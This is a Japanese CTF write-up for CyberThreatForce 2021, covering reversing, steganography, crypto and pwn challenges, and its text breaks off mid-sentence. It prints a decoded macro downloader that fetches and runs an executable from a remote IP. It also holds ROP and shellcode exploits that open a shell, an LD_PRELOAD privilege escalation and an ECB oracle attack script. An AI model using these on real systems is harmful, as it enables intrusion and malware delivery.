LoginSignup
1
1

More than 1 year has passed since last update.

CyberThreatForce CTF (2021) writeup

Last updated at Posted at 2021-07-04

English version: CyberThreatForce CTF (2021) writeup (English version) - Qiita

概要

CyberThreatForce CTF (2021/07/03 05:00 ~ 2021/07/05 05:00 (JST)) (CTFtime.org) に1人チームで参加した。
2710点を獲得し、正の点数を取った197チーム中25位だった。

解けた問題は以下の通りである。

Challenge Category Value Time (JST)
Return To The School Misc 250 07/03 09:25:50
Strange File steganography 200 07/03 09:37:29
YZY Network 50 07/03 10:05:18
Strange Service crypto 250 07/03 12:54:39
The document is strange Reverse 75 07/03 14:20:36
Synopsis misc 10 07/03 19:45:13
TakeYourTime Reverse 200 07/03 20:21:32
Bof_1 Pwn 100 07/04 00:54:00
Bof_1 Get Shell Pwn 200 07/04 01:00:19
(Un)Efficient Encryption crypto 300 07/04 03:03:59
PrivEsc Pwn 100 07/04 03:46:29
Bof_1 PrivEsc Pwn 200 07/04 04:18:13
FlagChecker Reverse 400 07/04 06:08:08
The Mole Network 75 07/04 08:02:18
Exfiltration Network 250 07/04 08:25:55
Usb Key Cemetery Forensic 50 07/04 09:39:52

Category Breakdown
Score over Time

公式Score over Time (横軸が解けた時刻を無視して等間隔になっている)

公式Score over Time

使用した主なツール

オンラインのもの

ダウンロードするもの

1問も解けなかったカテゴリ

  • IA
  • Red Team
  • Web
  • Osint
  • Brainfuck
  • Blockchain
  • Game Hacking

解けた問題

Reverse

The document is strange

ファイルCV.docが与えられた。
対策をしないとカスペルスキーに消されたので、保護機能を一時停止してダウンロードし、
ファイルパスを除外リストに追加した。

LibreOfficeで開くと、マクロが含まれている旨が表示された。
「ツール → マクロ → マクロの編集」を開いてチェックすると、
CV.doc → Project → モジュール → NewMacros にコードが書かれていた。

まず、変数名や関数名が謎の英文字列になっていて読みにくかったので、func1のような単純な名前に置換した。
すると、以下のような謎のデータを関数に渡している部分が多くあった。

f5_str5 = func1(Array(((123 - 59) + (21 - 7)), (29 + 36), (14 + (109 - 49)), (2 + 130), ((29 + 97) Xor 244), ((25 - 6) Xor 13), ((75 + 13) Xor (206 - 60)), ((62 - 9) Xor (77 + (62 - 10))), 172, (54 Xor 81), 192, (38 Xor 132), (128 - 27)), Array((2 + 32), 32, 63, (68 Xor 174), (171 Xor 66), 118, 175, (142 Xor 72), (61 + (105 - 8)), 73, (37 + (141 - 16)), (183 Xor (197 - 81)), ((6 - 0) + 11)))

func1 (リネーム後) は、以下のものであった。

Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
    Dim f1_str1 As String
    f1_str1 = ""
    For i = LBound(f1_arg1) To UBound(f1_arg1)
        f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
    Next
    func1 = f1_str1
End Function

そこで、これをJavaScriptに移植した。

function func1(a, b) {
    let res = "";
    for (let i = 0; i < a.length; i++) {
        res += String.fromCharCode(a[i] ^ b[i]);
    }
    return res;
}

さらに、Xor^に、& _+に置換することで、JavaScriptとして実行できるようになった。
(ArrayはJavaScriptでも使えるが、要素1個の時は要素数と解釈されてしまうので別途処理する)

これを用いてデコードすると、以下のようなコードになった。

文字列をデコードした結果
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long

Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
    Dim f1_str1 As String
    f1_str1 = ""
    For i = LBound(f1_arg1) To UBound(f1_arg1)
        f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
    Next
    func1 = f1_str1
End Function

Sub func2()
    func3
End Sub

Sub AutoOpen()
    func3
End Sub

Sub func3()
    Sleep (2000)
    func4
    func5
    func6
End Sub

Sub func4()
    Dim f4_str1 As String
    Dim f4_str2 As String
    Dim f4_str3 As String
    Dim f4_str4 As String
    Dim f4_str5 As String
    Dim f4_str6 As String
    f4_str1 = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBwAGEAdABjAGgALgBlAHgAZQAiAA0ACgAkAFcAZQBiAEYAaQBsAGUAIAA9ACAAIgBoAHQAdABwADoALwAvADEANQAyAC4AMgAyADgALgAxADMAMwAuADY"
    f4_str2 = "AOAAvACQAUAByAG8AYwBOAGEAbQBlACIADQAKACAADQAKACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBs"
    f4_str3 = "AG8AYQBkAEYAaQBsAGUAKAAkAFcAZQBiAEYAaQBsAGUALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA0ACgBTAHQAYQByAHQALQBQA"
    f4_str4 = "HIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
    f4_str5 = f4_str1 + f4_str2 + f4_str3 + f4_str4
    f4_str6 = "powershell.exe -exec bypass -enc " + f4_str5
    Dim f4_str8 As String
    f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.txt"
    Dim f4_obj1 As Object
    Set f4_obj1 = CreateObject("Scripting.FileSystemObject")
    Dim f4_obj2 As Object
    Set f4_obj2 = f4_obj1.CreateTextFile(f4_str8)
    f4_obj2.Write f4_str6
End Sub

Sub func5()
    Dim f5_str1 As String
    f5_str1 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\"
    Dim f5_str4 As String
    Dim f5_str5 As String
    f5_str4 = "launcher2.txt"
    f5_str5 = "launcher2.bat"
    Name f5_str1 & f5_str4 As f5_str1 & f5_str5
End Sub

Sub func6()
    Dim f4_str8 As String
    f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.bat"
    Shell f4_str8, vbHide
    Sleep (2000)
    Kill f4_str8
End Sub

f4_str5の内容をCyberChefで From Base64 → Decode text (UTF-16LE (1200)) すると、以下のようになった。

$ProcName = "patch.exe"
$WebFile = "http://152.228.133.68/$ProcName"

(New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName")
Start-Process ("$env:APPDATA\$ProcName")

そこで、ここに出てきたhttp://152.228.133.68/patch.exeをダウンロードした。
カスペルスキーに妨害されたので、保護機能を一時停止した。

得られたデータにCyberChefで Decode text (UTF-16LE (1200)) をかけてみると、
結果の中にhttp://152.228.133.68/staged_payload.txtという文字列が出てきた。

そこで、このURLからファイルをダウンロードした。
またもやカスペルスキーに妨害されたので、保護機能を一時停止した。

ダウンロードしたファイルにflagが書かれていた。

CYBERTF{M4cr0_D0wnl0ad3r_1s_D0wn}

TakeYourTime

ELFファイルTakeYourTimeが与えられた。
TDM-GCCのobjdumpで逆アセンブルして調べると、
入力を読み込む処理は見られず、以下のfibonacciという関数を呼んでいることがわかった。

関数fibonacci
0000000000001169 <fibonacci>:
    1169:   55                      push   %rbp
    116a:   48 89 e5                mov    %rsp,%rbp
    116d:   53                      push   %rbx
    116e:   48 83 ec 18             sub    $0x18,%rsp
    1172:   48 89 7d e8             mov    %rdi,-0x18(%rbp)
    1176:   48 83 7d e8 00          cmpq   $0x0,-0x18(%rbp)
    117b:   75 07                   jne    1184 <fibonacci+0x1b>
    117d:   b8 00 00 00 00          mov    $0x0,%eax
    1182:   eb 34                   jmp    11b8 <fibonacci+0x4f>
    1184:   48 83 7d e8 01          cmpq   $0x1,-0x18(%rbp)
    1189:   75 07                   jne    1192 <fibonacci+0x29>
    118b:   b8 01 00 00 00          mov    $0x1,%eax
    1190:   eb 26                   jmp    11b8 <fibonacci+0x4f>
    1192:   48 8b 45 e8             mov    -0x18(%rbp),%rax
    1196:   48 83 e8 01             sub    $0x1,%rax
    119a:   48 89 c7                mov    %rax,%rdi
    119d:   e8 c7 ff ff ff          callq  1169 <fibonacci>
    11a2:   48 89 c3                mov    %rax,%rbx
    11a5:   48 8b 45 e8             mov    -0x18(%rbp),%rax
    11a9:   48 83 e8 02             sub    $0x2,%rax
    11ad:   48 89 c7                mov    %rax,%rdi
    11b0:   e8 b4 ff ff ff          callq  1169 <fibonacci>
    11b5:   48 01 d8                add    %rbx,%rax
    11b8:   48 8b 5d f8             mov    -0x8(%rbp),%rbx
    11bc:   c9                      leaveq 
    11bd:   c3                      retq   

これをC言語で書き下すと、以下のようになった。

関数fibonacciの処理内容
kakikudasi_fibonacci.c
uint64_t fibonacci(uint64_t x) {
    uint64_t rbx;
    /* 1176 */
    if (x == 0) {
        return 0;
    }
    /* 1184 */
    if (x == 1) {
        return 1;
    }
    /* 1192 */
    rbx = fibonacci(x - 1);
    /* 11a5 */
    return rbx + fibonacci(x - 2);
}

これは、関数名の通りフィボナッチ数列を計算する処理である。

そこで、フィボナッチ数列を普通に計算するプログラムを用意した。

フィボナッチ数列を普通に計算するプログラム
fibonacci_impl.c
#include <stdio.h>
#include <inttypes.h>

uint64_t fibonacci(uint64_t x) {
    uint64_t p, c, n, i;
    if (x == 0) return 0;
    if (x == 1) return 1;
    p = 0;
    c = 1;
    for (i = 1; i < x; i++) {
        n = p + c;
        p = c;
        c = n;
    }
    return c;
}

int main(void) {
    uint64_t i;
    for (i = 0; i < 10; i++) {
        printf("%" PRIu64 " %" PRIu64 "\n", i, fibonacci(i));
    }
    return 0;
}

このプログラムをCS50 IDEでコンパイルし、TDM-GCCのobjdumpで逆アセンブルすることで、
新しいfibonacci関数の場所を特定した。
これが新しいfibonacci関数であり、TakeYourTime中のfibonacci関数より小さい。

新しいfibonacci関数の逆アセンブル結果
0000000000001260 <fibonacci>:
    1260:   f3 0f 1e fa             endbr64 
    1264:   31 c0                   xor    %eax,%eax
    1266:   48 85 ff                test   %rdi,%rdi
    1269:   74 27                   je     1292 <fibonacci+0x32>
    126b:   b8 01 00 00 00          mov    $0x1,%eax
    1270:   48 83 ff 01             cmp    $0x1,%rdi
    1274:   74 1c                   je     1292 <fibonacci+0x32>
    1276:   ba 01 00 00 00          mov    $0x1,%edx
    127b:   31 c9                   xor    %ecx,%ecx
    127d:   0f 1f 00                nopl   (%rax)
    1280:   48 89 c6                mov    %rax,%rsi
    1283:   48 83 c2 01             add    $0x1,%rdx
    1287:   48 01 c8                add    %rcx,%rax
    128a:   48 89 f1                mov    %rsi,%rcx
    128d:   48 39 d7                cmp    %rdx,%rdi
    1290:   77 ee                   ja     1280 <fibonacci+0x20>
    1292:   c3                      retq   
    1293:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
    129a:   00 00 00 
    129d:   0f 1f 00                nopl   (%rax)

そして、新しいfibonacci関数のバイナリをTakeYourTime中のfibonacci関数の場所に上書きし、
CS50 IDEで実行した。その結果、以下の出力が得られた。

CYBERTF{Fuck_Fibo_3v3ryWhere}
Good you can validate the chall with this password ;)!

flagが得られた。

CYBERTF{Fuck_Fibo_3v3ryWhere}

FlagChecker

ELFファイルprogramが与えられた。
TDM-GCCのobjdumpで逆アセンブルしてみたが、長くてどこを実行するのかよくわからなかった。
そこで、CS50 IDEで実行してみると、以下の実行結果が得られた。

~/ $ ./program
./program FLAG
~/ $ ./program aaa
failed

ファイルをチェックすると、文字列FLAGは0x5f1f8バイト目、
文字列failedは0x5f1c8バイト目と0x5f1d8バイト目にあった。
また、その近くの0x5f1e8バイト目に文字列Successがあった。 (いずれも0-origin)

これらのオフセットに(経験から)0x1000を足して逆アセンブル結果を調べると、
文字列Successは0x20350番地で、文字列failedは0x2035e番地と0x20376番地で使われていた。
したがって、これらの位置の前あたりにflagのチェック処理があると予想できた。
さらに観察すると、

  • camlReverse__firstCheck_268関数が1を返すと、0x20376番地に飛ぶ
  • camlReverse__listequal_92関数が1を返すと、0x2035e番地に飛ぶ

ことがわかった。

そこで、まずcamlReverse__firstCheck_268関数の解析を行った。
コードを眺めてもよくわからなかったので、CS50 IDE上のGDBを用いて実行・観察した。

camlReverse__firstCheck_268関数
0000000000020100 <camlReverse__firstCheck_268@@Base>:
   20100:   48 83 ec 18             sub    $0x18,%rsp
   20104:   48 83 f8 01             cmp    $0x1,%rax
   20108:   74 4a                   je     20154 <camlReverse__firstCheck_268@@Base+0x54>
   2010a:   48 83 fb 01             cmp    $0x1,%rbx
   2010e:   74 38                   je     20148 <camlReverse__firstCheck_268@@Base+0x48>
   20110:   48 89 1c 24             mov    %rbx,(%rsp)
   20114:   48 89 44 24 08          mov    %rax,0x8(%rsp)
   20119:   48 8b 33                mov    (%rbx),%rsi
   2011c:   48 8b 38                mov    (%rax),%rdi
   2011f:   48 8d 05 2a 1a 01 00    lea    0x11a2a(%rip),%rax        # 31b50 <caml_equal@@Base>
   20126:   e8 f1 76 02 00          callq  4781c <caml_c_call@@Base>
   2012b:   4d 8b 3e                mov    (%r14),%r15
   2012e:   48 83 f8 01             cmp    $0x1,%rax
   20132:   74 30                   je     20164 <camlReverse__firstCheck_268@@Base+0x64>
   20134:   48 8b 04 24             mov    (%rsp),%rax
   20138:   48 8b 58 08             mov    0x8(%rax),%rbx
   2013c:   48 8b 44 24 08          mov    0x8(%rsp),%rax
   20141:   48 8b 40 08             mov    0x8(%rax),%rax
   20145:   eb bd                   jmp    20104 <camlReverse__firstCheck_268@@Base+0x4>
   20147:   90                      nop
   20148:   b8 03 00 00 00          mov    $0x3,%eax
   2014d:   48 83 c4 18             add    $0x18,%rsp
   20151:   c3                      retq   
   20152:   66 90                   xchg   %ax,%ax
   20154:   48 83 fb 01             cmp    $0x1,%rbx
   20158:   74 0a                   je     20164 <camlReverse__firstCheck_268@@Base+0x64>
   2015a:   b8 01 00 00 00          mov    $0x1,%eax
   2015f:   48 83 c4 18             add    $0x18,%rsp
   20163:   c3                      retq   
   20164:   b8 01 00 00 00          mov    $0x1,%eax
   20169:   48 83 c4 18             add    $0x18,%rsp
   2016d:   c3                      retq   
   2016e:   66 90                   xchg   %ax,%ax

観察の結果、以下のことがわかった。

  • %rdi (入力したデータに基づく値) と%rsi (基準の値) を比較し、違ったら1を返す (0x2011f番地)
  • 入力したデータ列が基準のデータ列以下の長さならば、1を返す (0x20108番地)
  • 以上のチェックに引っかからなければ、3を返す (0x2010a番地)

さらに、「入力したデータに基づく値」は入力した各文字の文字コードの2倍に1を足したものであることもわかった。
これらに基づいてGDBで観察した結果、入力としてCYBERTF{Goxを与えると3が返ることがわかった。
(最後のxは、入力を基準のデータ列より長くするために入れている)

また、ここで扱っているデータ列は、値と次のノードへのポインタを用いたリンクリストになっていることもわかった。

2番めのチェックの直前の処理は、以下のようになっていた。

   20332:   48 8d 1d 77 fe 03 00    lea    0x3fe77(%rip),%rbx        # 601b0 <camlReverse__9@@Base>
   20339:   e8 52 fb ff ff          callq  1fe90 <camlReverse__xor_103@@Base>
   2033e:   48 8d 1d c3 fe 03 00    lea    0x3fec3(%rip),%rbx        # 60208 <camlReverse__82@@Base>
   20345:   e8 d6 fa ff ff          callq  1fe20 <camlReverse__listequal_92@@Base>
   2034a:   48 83 f8 01             cmp    $0x1,%rax
   2034e:   74 0e                   je     2035e <camlReverse__entry@@Base+0x1ee>

GDBでの観察の結果、camlReverse__xor_103関数およびcamlReverse__listequal_92関数を呼ぶ直前の
%rbxの値は、リンクリストのアドレスになっていることがわかった。
これらのリンクリストはファイルprogramに最初から埋め込まれているようだったので、
以下のプログラムを用いてリンクリストのデータを抽出した。

ファイルからリンクリストのデータを抽出するプログラム

第1引数にデータの抽出元のファイル名を、第2引数にリンクリストの最初のノードのファイル中の位置を指定する。

read_list.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV != 2) {
    die "Usage: perl read_list.pl file addr\n";
}

my $file = $ARGV[0];
my $addr = int($ARGV[1]);

open(FP, "< $file") or die("file open error\n");
binmode(FP);
my $data = "";
while (<FP>) { $data .= $_; }
close(FP);

while ($addr != 1 - 0x1000) {
    printf("0x%04x, ", unpack("Q", substr($data, $addr, 8)));
    $addr = unpack("Q", substr($data, $addr + 8, 8)) - 0x1000;
}
print "\n";

camlReverse__xor_103関数を呼ぶ直前に%rbxが指していたリンクリストのデータをxor_list
camlReverse__listequal_92関数を呼ぶ直前に%rbxが指していたリンクリストのデータをdata_listとし、
これらのデータから以下のPythonのプログラムで文字列を得た。
(camlReverse__xor_103という関数名からXORを計算するべきだと予想し、
xor_listが短いことから循環させて使うべきだと予想した。
また、camlReverse__firstCheck_268関数の解析結果に基づき、得られた値を2で割ったものを文字コードとした。)

xor_list = [0x000b, 0x00f5, 0x00a7, 0x01ab, 0x0107, 0x01b1, 0x0187, 0x01fd]
data_list = [0x00d3, 0x0037, 0x007b, 0x0165, 0x01b9, 0x0163, 0x0161, 0x0143, 0x0083, 0x0093, 0x0027, 0x0163, 0x01b9, 0x01d3, 0x015b, 0x0143, 0x008d, 0x005d, 0x002b, 0x0115, 0x0165, 0x01df, 0x01f5, 0x0197, 0x00cf, 0x009d, 0x0065, 0x01db, 0x0175, 0x01df, 0x01e7, 0x018d, 0x006d, 0x009b, 0x00c5, 0x0163, 0x0165, 0x01dd, 0x01f5, 0x018d, 0x006f, 0x0097, 0x00d5, 0x01c1, 0x016b, 0x01d9, 0x01e3, 0x0191, 0x006d, 0x0085, 0x0061, 0x0163, 0x0169, 0x01df, 0x01f7, 0x019b, 0x0079, 0x0087, 0x00d7, 0x01c9, 0x0177, 0x01c1, 0x017d]
data = [xor_list[i % len(xor_list)] ^ data_list[i] for i in range(len(data_list))]
data_str = "".join([chr(d // 2) for d in data])

その結果は、

lang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}

となった。
これと、camlReverse__firstCheck_268関数の解析で得られたデータを組み合わせることで、flagが得られた。

CYBERTF{Golang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}

steganography

Strange File

ファイル74df9ed7b79cfcbca84002619b670802.pngが与えられた。

TSXBINで見ると、最初の部分は

0000  Signature[0]          D9 10 3D 34 7A 3A 2A 78
0008  DateLength            6450407E
000C  BlockType[0]          3A 3F 74 62

となっていた。
PNGファイルならば最初のBlockTypeはIHDRとなるはずである。
CyberChefでXORをとると、sw00が出てきた。
さらに、PNGファイルのSignatureは89 50 4E 47 0D 0A 1A 0Aのはずである。
CyberChefでXORをとると、P@ssw00rが出てきた。
また、DateLengthの上位3バイトは通常ゼロのはずのところ、dP@となっていた。

これらの情報から、P@ssw00rdを巡回させてXORをとればよさそうであることが読み取れた。
CyberChefでこれを実行し、さらにRender Imageをすると、
QRコードのマーカー部分をネガポジ反転したような以下の画像が出てきた。

出てきた画像

この画像に対しCyberChefのParse QR Codeをかけると、flagが得られた。

CYBERTF{H1dD3n_M3Ss4g3_Fr0m_G4r1z0V}

「QRコード」は(株)デンソーウェーブの登録商標です。

crypto

Strange Service

TCPサーバが用意された。
このサーバは、送った内容(LFの前まで)の後ろに秘密のデータを連結したものをAESで暗号化して返してくれるらしい。

TCP/IPテストツールで適当な内容を送って試してみると、以下のことがわかった。

  • 入力の長さが同じなら、出力の最後の部分は同じになりそう
  • 入力を16バイト増やしても、出力の最後の部分は同じになりそう

このことから、暗号化は各ブロックを独立に行っていると考えられた。
したがって、入力の長さを調整して「既知の15バイト+未知の1バイト」の暗号文ブロックを得ることができれば、
未知の1バイトを全探索で求めることが出来るはずである。
これを繰り返すことで、「秘密のデータ」全体を前から順に求めることができるはずである。

実際に、以下のプログラムを用いて45分くらいで「秘密のデータ」を求めることができた。

「秘密のデータ」を求めるプログラム
attack.pl
#!/usr/bin/perl

use IO::Socket;

if (@ARGV != 2) { die "Usage: perl attack.pl addr port\n"; }
my $addr = $ARGV[0];
my $port = $ARGV[1];

sub query {
    my $q = $_[0];
    my $sock = new IO::Socket::INET(PeerAddr=>$addr, PeerPort=>$port, Proto=>"tcp");
    die "socket error: $!" unless $sock;
    binmode($sock);
    print $sock ($q . "\n");
    my $res = "";
    while (<$sock>) { $res .= $_; }
    close($sock);
    return substr($res, 7); # cut "input: "
}

my $empty = &query("");
my $len = length($empty);

my $ans = "#" x 16;
for (my $i = 0; $i < $len; $i++) {
    my $add_len = 15 - $i % 16;
    my $offset = ($i >> 4) * 16;
    my $target = &query("#" x $add_len);
    my $search_prefix = substr($ans, length($ans) - 15);
    my $answer = 0x0a;
    for (my $j = 0; $j < 256; $j++) {
        if ($j % 16 == 0) { print STDERR sprintf("%X", $j >> 4); }
        if ($j == 0x0a) { next; }
        my $search_test = &query($search_prefix . chr($j));
        if (substr($search_test, 0, 16) eq substr($target, $offset, 16)) {
            $answer = $j;
            last;
        }
    }
    $ans .= chr($answer);
    print STDERR sprintf(" ans = 0x%02X done %d / %d\n", $answer, $i + 1, $len);
}

$ans = substr($ans, 16);
print "$ans\n";

この「秘密のデータ」にflagが含まれていた。

CYBERTF{WTF_It's_u$eless_in_real_w0rld}

(Un)Efficient Encryption

comm1.pcapngcomm2.pcapng、およびsynopsis.txtが与えられた。

comm1.pcapngをWiresharkで開き、適当な行で「追跡 → TCPストリーム」をすると、以下のテキストが得られた。

Hey, could you generate an rsa key for me ? I Dont know how to do it
Yes sure, i just need a prime integer to generate it
Just take a random one, like 347 for example
Perfect, i'll keep you in touch

同様に、comm2.pcapngからは以下のテキストが得られた。

Hello
-----BEGIN PUBLIC KEY-----
MBwwDQYJKoZIhvcNAQEBBQADCwAwCAIDBGOvAgER
-----END PUBLIC KEY-----
71436 176304 185211 110406 35389 179680 56238 185211 207993 237729 176304 207993 185211 192576 237729 95070 171155 207993 35389 185211 110406 140230 92028 110406 140230 246626 82805
95994 185211 110406 176304 192576 230623 185211 110406 237729 171155 110406 247756 185211 192576 230623 185211 110406 237729 176304 140230 92028 110406 232955 247756 192576 35389 185211 82805
194813 185211 207993 185211 110406 140230 92028 110406 237729 176304 185211 110406 92028 185211 35389 207993 185211 237729 110406 35389 171155 171098 185211 110406 105244 110406 228171 207520 180458 196399 104282 71436 31634 106170 103296 132591 35389 69499 171098 196399 24720 104282 92028 59381 24720 230238 230238 36350

comm2.pcapngから得られたテキストのうち、
-----BEGIN PUBLIC KEY----------END PUBLIC KEY-----の間の部分に対し、
CyberChefで From Base64 → To Hex → Parse ASN.1 hex string をかけると、以下の結果が得られた。

SEQUENCE
  SEQUENCE
    ObjectIdentifier rsaEncryption (1 2 840 113549 1 1 1)
    NULL
  BITSTRING, encapsulates
    SEQUENCE
      INTEGER 0463af..(total 3bytes)..0463af
      INTEGER 11..(total 1bytes)..11

0x0463af = 287663 = 347 * 829である。
これがn、その次の整数0x11 = 17eであると仮定し、
RSA暗号 - Wikipedia
を参考に、以下のようにPythonでdを計算した。

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
  if b == 0:
    return (1, 0)
  s, t = kago(b, a % b)
  return (t, s - (a // b) * t)

p = 346 * 828
e = 17
d, _ = kago(e, p)

結果、d = 67409と求まった。

次に、-----END PUBLIC KEY-----の後の数字列に対し、このdnを利用してPythonでRSA暗号の復号を行った。

data = [
71436,176304,185211,110406,35389,179680,56238,185211,207993,237729,176304,207993,185211,192576,237729,95070,171155,207993,35389,185211,110406,140230,92028,110406,140230,246626,82805,
95994,185211,110406,176304,192576,230623,185211,110406,237729,171155,110406,247756,185211,192576,230623,185211,110406,237729,176304,140230,92028,110406,232955,247756,192576,35389,185211,82805,
194813,185211,207993,185211,110406,140230,92028,110406,237729,176304,185211,110406,92028,185211,35389,207993,185211,237729,110406,35389,171155,171098,185211,110406,105244,110406,228171,207520,180458,196399,104282,71436,31634,106170,103296,132591,35389,69499,171098,196399,24720,104282,92028,59381,24720,230238,230238,36350
]
n = 287663
res = [pow(d_elem, d, n) for d_elem in data]
res2 = "".join([chr(r) for r in res])

結果は

The cyberthreatforce is in.We have to leave this place.Here is the secret code : CYBERTF{D3c0dE_Rs4_!!}

となり、flagが得られた。

CYBERTF{D3c0dE_Rs4_!!}

Pwn

PrivEsc

SSHサーバが用意された。

Tera Termで接続して調べると、以下のようなflag.txtがあるが、
パーミッションの関係で読めないようになっていることがわかった。

ctf@281b0d1785d6:/home/ctf_cracked$ ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 36 Jun 25 13:33 flag.txt

「ctf ssh 権限昇格」でググってみた結果、
Wgel CTF 解説 (Writeup) [TryHackMe] - はまやんはまやんはまやん
がヒットした。ここにあったsudo -lコマンドを実行してみると、以下の出力が得られた。

ctf@281b0d1785d6:/home/ctf_cracked$ sudo -l
Matching Defaults entries for ctf on 281b0d1785d6:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=LD_PRELOAD

User ctf may run the following commands on 281b0d1785d6:
    (ctf_cracked) NOPASSWD: /opt/Ivazov

LD_PRELOADを有効にする設定になっており、/opt/Ivazovという怪しいパスが出てきた。
実行できるようだったので実行してみると、キリル文字が出力された。

ctf@281b0d1785d6:/home/ctf_cracked$ ls -l /opt/Ivazov
-rw-r-xr-x 1 root root 16088 Jun 25 13:33 /opt/Ivazov
ctf@281b0d1785d6:/home/ctf_cracked$ /opt/Ivazov
Ивазов недоволен

/opt/IvazovをSCPでダウンロードし、TDM-GCCのobjdumpで逆アセンブルしてみると、
puts関数で文字列を1個出力して終了するだけのようだった。

/lib/x86_64-linux-gnu/libc-2.28.soをSCPでダウンロードし、TDM-GCCのobjdumpで逆アセンブルすることで、
puts関数 (_IO_puts@@GLIBC_2.2.5) の場所がわかった。

そこで、ここに以下のシェルを起動するプログラムをNASMでアセンブルしたバイナリを書き込み、
SCPでアップロードした。

launch_shell.asm
bits 64
mov eax, 59
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall

sudoLD_PRELOADを使用してライブラリを読み込ませる方法は、ここが参考になった。
Privilege Escalation - SUDO - LD_PRELOAD
これを利用することで、ユーザctf_crackedとしてシェルを起動することができた。

ctf@281b0d1785d6:/tmp/work$ ls -l
total 1784
-rw-r--r-- 1 ctf ctf 1824496 Jul  3 18:45 libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ chmod a+x libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ sudo -u ctf_cracked LD_PRELOAD=/tmp/work/libc-2.28-patched.so /opt/Ivazov
$ id
uid=1001(ctf_cracked) gid=1001(ctf_cracked) groups=1001(ctf_cracked)
$ cat /home/ctf_cracked/flag.txt
CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}
$ exit

これを利用して、flagが得られた。

CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}

Bof_1

TCPサーバが用意され、大きな(約900KiB)ELFファイルが与えられた。
問題文より、入手した古いファイルをもとに、新しいファイルに含まれるflagを抜き出すことが目的である。

ELFファイルをTDM-GCCのobjdumpで逆アセンブルして調べると、
puts関数で文字列を出力した後、scanf関数の書式%sでデータを読み込み、
printf関数の書式%sで読み込んだデータなどを出力するものだった。
データの読み込み先はスタックで、「0x30バイトのバッファ、前のRBP、リターンアドレス」という構造になっていた。

そこで、ROP (Return-oriented Programming)のためのgadgetを探した。
その結果、以下のものが見つかった。

pop rax; ret (58 c3) 40302c
pop rsi; ret (5e c3) 40880e
pop rdi; ret (5f c3) 401ede
syscall: ret (0f 05 c3) 41ca64

しかし、pop rdx; ret (5a c3)は見つからなかった。
さらに調査を進めると、以下の2箇所が使えそうだった。

  403e30:   4c 89 ea                mov    %r13,%rdx
  403e33:   4c 89 e6                mov    %r12,%rsi
  403e36:   89 ef                   mov    %ebp,%edi
  403e38:   41 ff 14 df             callq  *(%r15,%rbx,8)

この部分では、単純なgadgetでは設定できなさそうだったRDXを設定できる。

  49d4ef:   48 89 45 10             mov    %rax,0x10(%rbp)
  49d4f3:   48 83 c4 38             add    $0x38,%rsp
  49d4f7:   4c 89 f8                mov    %r15,%rax
  49d4fa:   5b                      pop    %rbx
  49d4fb:   5d                      pop    %rbp
  49d4fc:   41 5c                   pop    %r12
  49d4fe:   41 5d                   pop    %r13
  49d500:   41 5e                   pop    %r14
  49d502:   41 5f                   pop    %r15
  49d504:   c3                      retq   

この部分では、メモリの任意の位置にデータを書き込むことができる。

これらを用いてexecve("/bin/sh", 0, 0)を実行させることにした。
これを実現する入力データを以下のプログラムで生成した。

シェルを起動する入力データを生成するプログラム
data_gen.pl
#!/usr/bin/perl

use strict;
use warnings;

binmode(STDOUT);

my $pop_rax = 0x40302c;
my $syscall = 0x41ca64;
my $mov_rbp = 0x49d4ef;
my $mov_call = 0x403e30;

my $buffer_addr = 0x4cf5d0;

my $data =
    ("x" x 0x30) . # fill buffer
    pack("Q", $buffer_addr - 0x10) . # rbp to set

    pack("Q", $pop_rax) . # return address
    "/bin/sh\0" . # rax to set

    pack("Q", $mov_rbp) . # return address
    ("x" x 0x38) . # for add to rsp
    ("x" x 8) . # rbx to set
    pack("Q", $buffer_addr + 8 - 0x10) . # rbp to set
    ("x" x (8 * 4)) . # r12, r13, r14, r15 to set

    pack("Q", $pop_rax) . # return address
    pack("Q", $syscall) . # rax to set

    pack("Q", $mov_rbp) . # return address
    ("x" x 0x38) . # for add to rsp
    pack("Q", 0) . # rbx to set
    pack("Q", $buffer_addr) . # rbp to set
    pack("Q", 0) . # r12 to set
    pack("Q", 0) . # r13 to set
    ("x" x 8) . # r14 to set
    pack("Q", $buffer_addr + 8) . # r15 to set

    pack("Q", $pop_rax) . # return address
    pack("Q", 59) . # rax to set

    pack("Q", $mov_call) . # return address
"\n";

print $data;

Tera Termでサーバに接続し、得られたデータをバイナリとして「ファイル送信 (ファイルの内容を貼り付け)」すると、
シェルの操作が可能になった。

lsを実行すると、問題のELFファイルと思われるファイルserviceがあった。
大きくて全体を取り出すのは難しそうだったので、手元のファイルをもとに、
